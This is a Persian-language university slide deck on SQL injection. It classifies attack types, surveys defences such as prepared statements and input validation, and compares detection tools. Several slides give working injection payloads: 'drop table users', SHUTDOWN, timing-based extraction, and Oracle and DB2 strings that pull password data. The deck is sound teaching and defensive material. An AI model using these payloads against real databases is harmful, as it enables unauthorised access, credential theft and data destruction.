Download presentation
Presentation is loading. Please wait.
2
SQL Injection Attack (SQLIA)
دانشگاه صنعتی شریف SQL Injection Attack (SQLIA) پروژه درس امنیت پایگاه داده استاد راهنما: دکتر جلیلی تهیه کنندگان: زهره فتح آبادی فاطمه قدس فهیمه جوانمرد بهار 1390
3
فهرست مطالب تعریف SQLIA انواع حملات SQLIA روش های دفاع در مقابل SQLIA
مقایسه روش ها بررسی SQLIA در پایگاه داده های مهم
4
تعریف SQLIA تهدید کاربردهای تحت وب فرار از احراز هویت
دسترسی غیر مجاز به اطلاعات موجود در پایگاه داده
5
انواع حملات SQLIA Tautologies Illegal/Logically Incorrect Queries
Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings
6
Tautologies attack اضافه کردن کد به قسمت های شرطی
هدف : فرار از احراز هويت و استخراج داده مثال: وارد کردن عبارت ’ or 1=1 - - بجاي نام کاربري در ورودي: SELECT accounts FROM users WHERE login=’’ or 1=1 -- AND pass=’’ AND pin=
7
انواع حملات SQLIA (ادامه)
Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings
8
Illegal/Logically Incorrect Queries attack:
خطای نحوی ← شناسایی پارامترهاي آسيب پذير پايگاه داده خطاهاي منطقي ← آشکار شدن نام جدول ها و ستون ها خطاهاي تبديل نوع ← بدست آوردن نوع داده يک ستون خاص یا استخراج داده مثال: نوشتنconvert (int,(select top 1 name from sysobjects where xtype=’u’)) در قسمت pin : SELECT accounts FROM users WHERE login=’’ AND pass=’’ AND pin= convert (int,(select top 1 name from sysobjects where xtype=’u’)) پیغام خطا در sql: "Microsoft OLE DB Provider for SQL Server (0x80040E07) Error converting nvarchar value ’CreditCards’ to a column of data type int." حمله کننده نام پايگاه داده و نام جدول و نوع ستون را مي فهمد
9
انواع حملات SQLIA (ادامه)
Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings
10
Union Query attack اضافه کردن Union به query اصلی
هدف : تغییر رکوردهای برگشتی از پایگاه داده برای فرار از احراز هویت یا استخراج داده مثال: مشاهده ی اطلاعات جدول اصلي و جدول وارد شده توسط حمله کننده در قسمت union، از طریق وارد کردن عبارت زير در قسمت login: “’ UNION SELECT cardNo from CreditCards where acctNo= ” SELECT accounts FROM users WHERE login=’’ UNION SELECT cardNo from CreditCards where acctNo= AND pass=’’ AND pin= اطلاعات جدول دوم نيز براي شرط مورد نظر نمايش داده مي شود
11
انواع حملات SQLIA (ادامه)
Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings
12
Piggy- Backed Queries attack
اضافه کردن query هاي ديگري به query اصلی جهت منع سرويس ، تغيير داده ، استخراج داده و اجراي دستورات راه دور. مثال: وارد کردن عبارت زير در فيلد pass : “’; drop table users - -” SELECT accounts FROM users WHERE login=’doe’ AND pass=’’; drop table users -- ’ AND pin=123 پاک شدن تمام جدول های کاربر
13
انواع حملات SQLIA (ادامه)
Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings
14
Stored Procedures attack
هدف : منع سرویس یا اجرای دستورات از راه دور مثال: طبق Stored Procedure زير: CREATE PROCEDURE DBO.isAuthenticated @userName int AS EXEC("SELECT accounts FROM users WHERE login=’" "’ and pass=’" "’ and pin=" GO با وارد کردن “ ’ ; SHUTDOWN; - -” در فيلد pass: SELECT accounts FROM users WHERE login=’doe’ AND pass=’ ’; SHUTDOWN; -- AND pin= خاموش شدن پايگاه داده و نمی توان برای مدتی از آن استفاده کرد.
15
انواع حملات SQLIA (ادامه)
Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings
16
Inference attack شناسایی پارامتر های آسیب پذیر و کسب اطلاعات از طریق وارد کردن دستورات مختلف و بررسی جواب ها. اين مورد شامل دو نوع حمله مي باشد: Blind Injection : استنتاج اطلاعات با توجه به رفتار صفحه . مثال: وارد کردن “legalUser’ and 1=0 - -” و “legalUser’ and 1=1 - -” را در قسمت login در دو مرحله : SELECT accounts FROM users WHERE login=’legalUser’and 1=0 -- ’ AND pass=’’ AND pin=0 SELECT accounts FROM users WHERE login=’legalUser’ and 1=1 -- ’ AND pass=’’ AND pin=0 صفحه امن باشد ← پيام خطاي نامعتبر بودن login ← پارامتر login آسيب پذير نيست؛ صفحه نا امن باشد ← اگر query دوم بدون خطا اجرا شود ← پارامتر login آسيب پذير است.
17
INFERENC ATTACK (ادامه)
Timing Attack : کسب اطلاعات از طریق تاخیر در جواب query. مثال: وارد کردن مقدار زيردر فيلد login : ‘‘legalUser’ and ASCII(SUBSTRING((select top 1 name from sysobjects),1,1)) > X WAITFOR 5 --’’ SELECT accounts FROM users WHERE login=’legalUser’ and ASCII( SUBSTRING( (select top 1 name from sysobjects),1,1)) > X WAITFOR 5 -- ’ AND pass=’’ AND pin=0 تغییر مقدار x با توجه به میزان تاخیر و بدست آوردن نام اولین جدول طی چند مرحله
18
انواع حملات SQLIA (ادامه)
Tautologies Illegal/Logically Incorrect Queries Union Query Piggy- Backed Queries Stored Procedures Inference Alternate Encodings
19
Alternate Encodings attack
تغییر ظاهر ورودي توسط حمله کننده جهت فرار از راه های جلوگیری و مورد حمله قرار دادن آسيب پذيري هاي موجود . مثال: وارد کردن عبارت “legalUser’; exec(0x f776e) - - ” در فيلد login SELECT accounts FROM users WHERE login=’legalUser’; exec(char(0x f776e)) -- AND pass=’’ AND pin= خاموش شدن پايگاه داده
20
روشهای دفاع در مقابل SQLIA
Prepared statement Stored Procedure Escaping All User Supplied Input Least Privilege White List Input Validation
21
Prepared statement پارامتری کردن query
تعریف کامل کد sql بدون دادن مقادیر پارامترها اعمال type checking قوی روی پارامترها و در انتها پاس دادن پارامتر بهquery جلوگیری از مقادیر ورودی غیر مجاز مانند ‘ or 1=1 – استفاده از آن در زبان های مختلف : استفاده از preparedstatement در javaEE استفاده از sqlcommand یا OleDbCommand در .Net استفاده از PDO در PHP (بسیار قوی) استفاده از CreateQuery در Hibernate و ..... مثال: استفاده از preparedstatement در جاوا : String custname = request.getParameter("customerName"); SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( );
22
Stored procedure در صورت پیاده سازی امن (جلوگیری از ایجاد query داینامیک در داخل بدنه) ذخیره بدنه در پایگاه داده (بر خلاف preparedStatement) مزایا : مزیت امنیتی : محدود کردن دسترسی کاربران به استفاده از stored procedure (عدم امکان اجرای query داینامیک) مزیت غیر امنیتی : جمع آوری کد های sql در یک مکان و نگهداری آنها دور از دسترس کاربران مثال: استفاده از stored procedure به صورت امن در جاوا : String custname = request.getParameter("customerName"); CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}"); cs.setString(1, custname); ResultSet results = cs.executeQuery();
23
Escaping User Input ایجاد یک blacklist از کاراکترهایی که باید ترجمه شوند. تغییر کاراکترهای با معنی در query (جایگزینی( ‘ ) با (‘ ‘) ) مثال : استفاده از تابع () mysql_real_escape_string در PHP : $query = sprintf("SELECT * FROM `Users` WHERE UserName='%s' AND Password='%s'", mysql_real_escape_string($Username), mysql_real_escape_string($Password)); mysql_query($query); دارای ریسک( ممکن است یک سری کاراکتر فراموش شود) استفاده از این روش در oracle ، my sql و sql server
24
Least privilege کاهش اثر SQLIA از طریق اعطای privilege کمتر به کاربران پایگاه داده دادن دسترسی read به کاربری که فقط حق read دارد. استفاده از view برای کاربرانی که به قسمتی از یک جدول باید دسترسی داشته باشند. عدم دسترسی مستقیم کاربران به پایگاه داده با استفاده از stored procedure عدم اجرای DBMS به عنوان root یا system مثال : MySql به صورت پیش فرض به صورت system روی windows اجرا می شود.
25
White List Input Validation
تعریف دقیق ورودی های معتبر اعتبار سنجی ورودی قبل از فرستادن آن به query ایجاد ساختار اعتبارسنجی قوی بر اساس regular expression ها برای ورودی هایی که فرمت خاصی دارند مانند آدرس ، zipcode ،تاریخ انتخاب یکی از مقادیر در ورودی های ثابت مانند لیست ها ورودی های text free (مشکل ترین مورد) محدود کردن طول ورودی یا عدم استفاده از کاراکترهای non printable استفاده از توابع اعتبارسنجی ابزار ESAPI مانند : getValidDate() getValidCreditCard() getValidSafeHTML() getValidInput() getValidNumber() getValidFileName() getValidRedirectLocation()
26
(ادامه)White List Input Validation
مثال :استفاده از regular expression در جاوا : private static final Pattern zipPattern = Pattern.compile("^\d{5}(-\d{4})?$"); public void doPost( HttpServletRequest request, HttpServletResponse response) { try { String zipCode = request.getParameter( "zip" ); if ( !zipPattern.matcher( zipCode ).matches(){ throw new YourValidationException( "Improper zipcode format." ); } .. do what you want here, after its been validated .. } catch(YourValidationException e ) { response.sendError( response.SC_BAD_REQUEST, e.getMessage() );
27
ابزارهای پيشگيري SQLIA
WAVES: تکنیک تست جعبه سیاه شناسایی تمام نقاط مورد هدف SQLIA بهبود حمله با استفاده از تکنيک يادگيري ماشين بررسی واکنش کاربرد در مقابل حملات کامل نیست DBC-Checker : روش بررسی ایستای کد بررسی صحت query های دايناميک شناسایی تعداد محدودي از حمله ها WebSSARI : پشتیبانی از PHP علامتگذاری قسمت های آسیب پذیر کد (runtime guard) کنترل اطلاعات نامعتبر با قرار دادن توابع پاکسازي درقسمت های آسیب پذیر.
28
ابزارهای پيشگيري SQLIA(ادامه)
Java Static Tainting: استفاده از ورودی های معتبر کاربر به طور نادرست(taint) بررسی کد به طور ایستا جهت پیدا کردن taint بررسی جریان اطلاعاتی جهت شناسایی زمان استفاده ی ورودي taint در ساختار query. ایراد روش : شناسایی ساختارهاي شناخته شده SQLIA تولید false positive زياد SecuriFly: استفاده از زبان PQL بررسی جریان داده ها به کاربرد پاکسازی ورودي هاي taint قبل از آسیب دیدن سیستم توسط حملات استفاده از بایت کد به جای کد اصلی SQL DOM: کپسوله کردن پايگاه داده استفاده از API جهت بررسی query به جاي ایجاد query توسط الحاق يک سري رشته. استفاده از type checking برای بررسی ورودی در API
29
مقایسه ابزارهای پیشگیری
30
ابزارهای تشخيص SQLIA SQL Guard : SQL Check : Proxy filtering :
دارای تحليل ايستا و پويا ایجاد مدل برای ورودی های درست مقایسه ورودی کاربر با مدل در صورت عدم کشف کليد روشی امن است . SQL Check : مشابه روش قبل تفاوت : ایجاد مدل به طور مستقل توسط طراح Proxy filtering : اعمال محدوديت توسط زبان توصيف خط مشي امنيتي (SPDL) به پارامترهای کاربردی، قبل از ارسال آنها به سرور. ایراد روش: طراحان بايد بدانند روي چه داده اي و با چه ساختاري فيلترينگ بايد انجام گيرد. SQLrand: استفاده از دستورالعمل تصادفي به جاي کلمات کليدي sql و تبدیل آنها در پايگاه داده توسط proxy filter، به کلمات کليدي sql. ایراد روش: استفاده از کلید برای تغییر دستورات؛ سربار زیاد بدلیل استفاده از proxy. SAFELI: روشی جهت تشخيص آسيب پذيري ها در زمان کامپايل. تشخیص آسیب پذیری های شناخته نشده توسط جعبه سیاه ایراد روش: فقط برای مايکروسافت می باشد.
31
ابزارهای تشخيص SQLIA (ادامه)
Java Dynamic Tainting: بررسی کد جهت پيدا کردن taint در زمان اجرا استفاده از flag برای علامت گذاری ورودی taint استفاده از untainting برای جمله های ساخته شده از taint SWaddler : يک روش تشخيص مبتني بر خطا جهت تشخیص حملات روی کاربردهای وب پیدا کردن رابطه ي بين نقاط اجرايي حياتي کاربرد و وضعيت داخلي کاربرد جهت تشخیص حمله. Tautology Checker: روشی جهت تشخيص حمله ی tautology . AMNESIA: روشی مبتنی بر مدل و دارای تحلیل ایستا و پویا تحلیل ایستا : ایجاد مدل برای انواع query های درستی که کاربر می تواند وارد کند تحلیل پویا : مقایسه query کاربر با مدل واکنش خوب در مقابل حملات SQLI وابسته به مرحله توليد مدل ايستا CANDID: برای زبان جاوا تشخیص ساختار query با روش dynamic candidate evolution تشخیص حمله با مقایسه query کاربر با ساختار مورد نظر برنامه نویس. بسیار مناسب جهت تشخیص حملات sql.
32
مقایسه روش های تشخیص
33
نتیجه مقایسه روش ها عدم تشخیص یا پیشگیری stored procedure در اکثر ابزارها تشخیص و پیشگیری tautology attack در اکثر ابزارها
34
بررسی SQLIA در پایگاه داده های مهم
Oracle SQL injection in webapps SQL injection in postgresql SQL Injection in SQL Server SQL injection in DB2 SQL injection in MySQL
35
Sql injection in postgresql
Sleep function: using Dollar singes & base64 encoder: to Bypassing magic singe Blind sql injection
36
Exploiting Blind SQL Injection in PostgreSQL:
Identification of table and column name با استفاده از آسیب blind sql injection و بر پایه ی brute force attack Table Data Retrieval برای این کار حمله کننده از Brute force characters برای هر سطر، از طریق تابع substr()، strpos() و یا get_byte استفاده می کند.
37
Oracle SQL injection in webapps
استفاده از ترکیب مجاز scott / tiger یا (‘) single quote تعیین ورژن پایگاه داده: خطای کاراکتر اضافی: ‘ or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))– تبدیل POSTs به GETs با استفاده ازwebdeveloper plugin . خطای access deny و استفاده از ctxsys.drithsx.sn بجای .utl_inaddr استفاده از ‘ or 1=1- - و موفقیت در login شدن تشخیص ورژن پایگاه داده از خطا دریافت تمام ستون ها از پیغام خطا: ( با استفاده از || و stragg ) ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct banner)||’ ‘ from v$version))– شناسایی privilege هایمان: ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct granted_role||’;') from user_role_privs))– بدست آوردن تمام جداول با استفاده از ستون پسورد: ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct owner||’.'||table_name||’['||data_type||’];’) from all_tab_columns where column_name=’PASSWORD’))– استخراج تمام پسوردهای این جدول: ‘ or 1=ctxsys.drithsx.sn(1,(select sys.stragg(distinct password||’;') from shop.shopuser))– بازیابی محتوی تمام جداول، بدون استفاده از UNION SELECT
38
SQL Injection in SQL Server:
دسترسی به account اي با مجوز صدور دستور 'OPENROWSET‘ تصدیق هویت و اجازه حدس پسورد ترکیب 'OPENROWSET‘ با درايورهاي ODBC براي خواندن محتواي صفحات گسترده ي Excel، local MS Access databases و فايل هاي متني انتخابي. Timing attack: waitfor delay '0:0:5' راه حل: استفاده از parameterised API ( اعتبارسنج ورودی جامع) استفاده از registry patch جهت غیر فعال کردن دسترسي به پرس و جو هاي 'ad-hoc' توسط OPENROWSET . اجازه ي اجراي پرس و جوهاي دلخواه، توسط منبع غيرمعتمد را ندهيم. نیاز به فيلترينگ شبکه ي مناسب و برنامه هاي کاربردي مناسب جهت تاييد اعتبار ورودي
39
SQL injection in DB2 database
با فرض فعال بودن detailed error messages: اگر Username = ‘ or 1=1— ملاحظه ی صفحه ای شامل: Welcome Bob اگر Username = ‘ group by 1—؛ (جهت بدست آوردن سایر ستون ها) An expression starting with "NAME" specified in a SELECT clause<snip> اگر Username = ‘ group by name— An expression starting with "SOCIAL_SECURITY_NO" specified in a SELECT clause<snip> یافتن نام جدول با استفاده از brute force attack: Username = ‘ or ‘ ‘ or ; ,9,9 An unexpected token "from applogin where name = '' OR" was found<snip> استخراج پسورد داده ها : Username = ' union all select concat(name,password) as name ,'a','a','a' from applogin where name > 'c'; دریافت صفحه ای شامل: Welcome joeqwerty
40
MySQL : MySQL.com Victim of SQL Injection Attack
با استفاده ازURL زیر و استفاده از id های متفاوت می توان به Customer View های مختلف این سایت، دسترسی پیدا کرد. در پیامی به یک mailing list، اطلاعات بیشتر مثل زیر دریافت می شود:
41
MySQL (cont.) یافتن ورژن MySQL:
Timing Attack در Blind Injection: قرار دادن benchmark timer در injected payload. مثال: w بعنوان اولین حرف نام پایگاه داده. یافتن ورژن MySQL: مثالی از چند توابع مفید دیگر: نسخه برداری از شمای پایگاه داده و نیاز به دانستن ساختار directory سرور.
42
راه حل: استفاده از Mysql_escape_string برای تمام sql query ها؛
استفاده از bind variable و استفاده از parametrized sql statement جهت جلوگیری از string concatenation؛ استفاده از پسوردهای قوی. مرتبا آسیب پذیری ها چک شوند؛ بروز رسانی وب سایت ها با کدها و application های جدید؛ تست جهت بررسی نیازهای امنیتی بوسیله ی ابزارهای قوی.
43
مراجع William G.J. Halfond, Jeremy Viegas, and Alessandro Orso , “A Classification of SQL Injection Attacks and Countermeasures “, College of Computing Georgia Institute of Technology,IEEE ,2006 , Pages:1-11 S. W. Boyd and A. D. Keromytis. SQLrand: Preventing SQL Injection Attacks. In Proceedings of the 2nd Applied Cryptography and Network Security (ACNS) Conference, pages June 2004. Atefeh Tajpour , Maslin Massrum , Mohammad zaman Heydari ,” Comparison of SQL Injection Detection and Prevention Techniques”, 2nd International Conforence on Education Technology and Computer (ICETC) , 2010 , Pages : 1-6 Prithvi Bisht, P. Madhusudan. CANDID: Dynamic Candidate Evaluations for Automatic Prevention of SQL Injection Attacks.Proceedings of the 14th ACM Conference on Computer and Communications Security USA: ACM, Pages 3-4. V. Haldar, D. Chandra, and M. Franz. Dynamic Taint Propagation for Java. In Proceedings 21st Annual Computer Security Applications Conference, Dec M. Martin, B. Livshits, and M. S. Lam. Finding Application Errors and Security Flaws Using PQL: A Program Query Language. In Proceedings of the 20th Annual ACM SIGPLAN conference on Object oriented programming systems languages and applications (OOPSLA 2005). Y. Huang, F. Yu, C. Hang, C. H. Tsai, D. T. Lee, and S. Y. Kuo. Securing Web Application Code by Static Analysis and Runtime Protection. In Proceedings of the 12th International World Wide Web Conference (WWW 04), May Marco Cova, Davide Balzarotti. Swaddler: An Approach for the Anomaly-based Detection of State Violations in Web Applications. In Proceedings of the 10th International Symposium on Recent Advances in Intrusion Detection (RAID), (Queensland, Australia), September 5-7, 2007. “SQL Injection in Oracle Forms V1.01 from “Red-Database-Security GmbH, 2005. Cyrus Peikari, Seth Fogie, “Guarding Against SQL Server Attacks:Hacking, cracking, and protection techniques”, AirScanner, 2003. Chris Anley, “Advanced SQL Injection “, An NGSSoftware Insight Security Research (NISR), 2002. Atefeh Tajpour , Maslin Massrum , Mohammad zaman Heydari, Suhaimi Ibrahim, SQL Injection Detection and Prevention Tools Assessment, IEEE,2010,Pages 1-5 J. Pullicino,” MySQL.com Victim of SQL Injection Attack, April 2011. L. Juranic, “Advanced PostgreSQL SQL Injection and Filter Bypass Techniques”,INFIGO-TD, 2009. S. Kost,”An Introduction to SQL Injection Attacks for Oracle Developers”, March 2009. “How to mine data from a DB2 database with SQL injection”, archives.neohapsis.com.
44
با تشكر
Similar presentations
© 2025 SlidePlayer.com. Inc.
All rights reserved.